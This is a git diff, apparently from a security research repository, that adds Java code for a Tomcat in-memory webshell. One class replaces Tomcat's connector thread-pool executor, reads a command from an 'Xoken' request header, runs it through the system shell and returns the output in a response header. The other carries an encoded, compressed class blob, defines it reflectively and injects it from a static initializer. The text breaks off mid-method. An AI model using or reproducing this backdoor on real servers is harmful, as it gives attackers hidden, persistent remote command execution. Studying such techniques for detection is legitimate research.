a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorExecMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorExecMS.java new file mode 100644 index 0000000..0633f69 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorExecMS.java @@ -0,0 +1,321 @@ +package com.demo.memshell.exec.executor; + +import org.apache.tomcat.util.threads.ThreadPoolExecutor; + +import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author Whoopsunix + * + * 参考 https://xz.aliyun.com/u/40487 + */ +public class TomcatExecutorExecMS extends ThreadPoolExecutor { + private static String HEADER = "Xoken"; + + public TomcatExecutorExecMS(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue) { + super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue); + } + + @Override + public void execute(Runnable command) { + try { + String header = getHeader(); + Map headers = getHeaders(header); + String value = headers.get(HEADER); + String result = exec(value); + getResponse(result); + } catch (Exception e) { + + } + this.execute(command, 0L, TimeUnit.MILLISECONDS); + } + + public String getHeader() throws Exception { + Object nioSocketWrapper = getTargetObject("org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper"); + byte[] bytes = new byte[8192]; + ByteBuffer buf = ByteBuffer.wrap(bytes); + + try { + invokeMethod(nioSocketWrapper, "read", new Class[]{Boolean.TYPE, ByteBuffer.class}, new Object[]{false, buf}); + + String str = new String(buf.array(), "UTF-8"); + buf.position(0); + invokeMethod(nioSocketWrapper, "unRead", new Class[]{ByteBuffer.class}, new Object[]{buf}); + return str; + } catch (Exception e) { + invokeMethod(nioSocketWrapper, "unRead", new Class[]{ByteBuffer.class}, new Object[]{buf}); + } + return null; + } + + // 本质就是一个 Rce 回显 + public void getResponse(String result) throws Exception { + Object targetObject = getTargetObject("org.apache.coyote.RequestGroupInfo"); + java.util.List processors = (java.util.List) getFieldValue(targetObject, "processors"); + for (int j = 0; j < processors.size(); j++) { + Object processor = processors.get(j); + Object req = getFieldValue(processor, "req"); + Object response = req.getClass().getMethod("getResponse").invoke(req); + + invokeMethod(response, "addHeader", new Class[]{String.class, String.class}, new Object[]{"Re", result}); + + // todo + // doWrite() Http11InputBuffer.java:434 报错 java.lang.IllegalArgumentException 待分析 + + return; + } + } + + public static Map getHeaders(String httpRequest) { + Map headers = new HashMap(); + + // 按照空行分隔请求行和头部 + String[] parts = httpRequest.split("\r\n\r\n", 2); + if (parts.length > 1) { + String headerSection = parts[0]; + + // 分隔每一行头部 + String[] headerLines = headerSection.split("\r\n"); + for (String headerLine : headerLines) { + // 分隔每个头部的键值对 + String[] headerParts = headerLine.split(": ", 2); + if (headerParts.length == 2) { + String headerName = headerParts[0]; + String headerValue = headerParts[1]; + headers.put(headerName, headerValue); + } + } + } + + return headers; + } + + public static String exec(String str) { + try { + String[] cmd = null; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + if (cmd != null) { + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + String execresult = exec_result(inputStream); + return execresult; + } + } catch (Exception e) { + + } + return ""; + } + + public static String exec_result(InputStream inputStream) { + try { + byte[] bytes = new byte[1024]; + int len = 0; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); + } + return stringBuilder.toString(); + } catch (Exception e) { + return ""; + } + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public Object getTargetObject(String className) throws Exception { + List activeClassLoaders = this.getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } +} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorThreadLoader.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorThreadLoader.java new file mode 100644 index 0000000..7ea1d5b --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/executor/TomcatExecutorThreadLoader.java @@ -0,0 +1,274 @@ +package com.demo.memshell.exec.executor; + + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.concurrent.Executor; +import java.util.concurrent.TimeUnit; +import java.util.zip.GZIPInputStream; + +/** + * @author Whoopsunix + * ExecutorMS + */ +public class TomcatExecutorThreadLoader { + private static String gzipObject = "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"; + + public TomcatExecutorThreadLoader() { + } + + static { + try { + // 获取 + Object nioEndpoint = getTargetObject("org.apache.tomcat.util.net.NioEndpoint"); + + inject(nioEndpoint, null); + + } catch (Throwable e) { + e.printStackTrace(); + } + } + + public static boolean isInject(Object standardContext, Object object) { + return false; + } + public static void inject(Object nioEndpoint, Object object) throws Exception { + Object threadPoolExecutor = getFieldValue(nioEndpoint, "executor"); + + Object var1 = invokeMethod(threadPoolExecutor, "getCorePoolSize", new Class[]{}, new Object[]{}); + Object var2 = invokeMethod(threadPoolExecutor, "getMaximumPoolSize", new Class[]{}, new Object[]{}); + Object var3 = invokeMethod(threadPoolExecutor, "getKeepAliveTime", new Class[]{TimeUnit.class}, new Object[]{TimeUnit.MILLISECONDS}); + Object var4 = TimeUnit.MILLISECONDS; + Object var5 = invokeMethod(threadPoolExecutor, "getQueue", new Class[]{}, new Object[]{}); + + + byte[] bytes = decompress(gzipObject); + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Constructor declaredConstructor = clazz.getDeclaredConstructors()[0]; + declaredConstructor.setAccessible(true); + Object javaObject = declaredConstructor.newInstance(var1, var2, var3, var4, var5); + nioEndpoint.getClass().getSuperclass().getSuperclass().getMethod("setExecutor", Executor.class).invoke(nioEndpoint, javaObject); + } + + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new TomcatExecutorThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 